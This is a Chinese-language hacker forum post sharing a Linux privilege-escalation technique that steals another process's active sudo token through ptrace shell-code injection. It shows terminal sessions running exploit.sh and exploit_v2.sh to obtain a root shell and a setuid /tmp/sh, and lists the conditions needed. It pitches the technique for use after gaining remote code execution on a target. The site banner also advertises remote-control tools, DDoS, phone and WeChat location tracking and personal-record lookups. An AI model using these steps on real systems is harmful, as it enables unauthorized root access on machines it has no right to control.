注册忘记密码

黑客论坛,黑客工具,黑客教程,QQ技术,黑客基地,黑客网络,黑客软件,黑客联盟,免杀,远控,ddos,cc,黑客攻防,黑客编程,黑客定位,手机定位,微信定位,hack,黑客网站,查开房,定位,信息查询

查看: 10913|回复: 0

[入侵渗透] 分享两个利用sudo token实现提权的技巧

[复制链接]
   0 UID
   0帖子
   0精华
21
   0威望
500
   0金币
44875
   0贡献
5000
   0阅读权限
   200
   积分
   0
   在线时间
   534 小时
   最后登录
   2019-12-13
发表于 2019-5-15 23:35:47 | 显示全部楼层 |阅读模式
技术介绍
     我们在进行技术研究的过程中,发现有些时候sudo并不会要求我们输入密码,因为它“记得”我们。那么它为什么会“记得”我们呢?它怎么识别我们的身份呢?我们能伪造自己的身份并拿到root权限吗?
     实际上,sudo会在/var/run/sudo/ts/[username]目录中为每一位Linux用户创建一个单独的文件,这种文件中包含了身份认证成功与失败的相关信息。接下来,sudo会使用这些文件来记录所有的身份认证过程。
如何利用系统中的漏洞?

  1. $sudo whatever
  2. [sudo]password for user:    # Press<ctrl>+c since you don't have the password. # This creates an invalidsudo tokens.
  3. $ sh exploit.sh
  4. ....wait 1 seconds
  5. $sudo -i # no password required :)

  6. # id
  7. uid=0(root)gid=0(root) groups=0(root)
复制代码
实现要求

1、 完全启用Ptrace(/proc/sys/kernel/yama/ptrace_scope == 0);

2、 当前用户必须开启一个拥有有效sudo令牌并且相同uid的活动进程;

注:默认密码的超时时间为15分钟,如果你在15分钟内使用sudo两次,系统就不会要求你再输入用户的sudo密码了。

工作机制

项目目录中的Exploit.sh会向当前用户的所有进程注入Shell代码,并使用它们的sudo令牌来验证我们自己的sudo口令。仅需三行Shell代码,一切皆有可能。

使用样例

假设,你拿到了一个RCE,而且没有用户密码,但目标用户使用了sudo,那么你就可以通过窃取他的sudo令牌来实现提权啦!

如何在实验环境中模拟?

打开两个终端窗口:

1、 其中一个执行sudo命令,然后输入正确的用户密(sudo ls);

2、 另一个按照上述方法执行漏洞利用代码;

使用exploit_v2.sh在/tmp/sh中创建一个suid sh

如果exploit_v1无法成功的话,大家可以尝试一下exploit_v2.sh:

  1. $./exploit_v2.sh
  2. Currentprocess : 2441
  3. chmod:changing permissions of 'activate_sudo_token': Operation not permitted
  4. Injectingprocess 1721 -> bash
  5. Injectingprocess 2433 -> bash
  6. cat:/proc/2446/comm: No such file or directory
  7. Injectingprocess 2446 ->
  8. $/tmp/sh -p
  9. # id
  10. uid=1001(test)gid=1001(test) euid=0(root) egid=0(root) groups=0(root),1001(test)
复制代码

发表回复

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则


快速回复 返回顶部 返回列表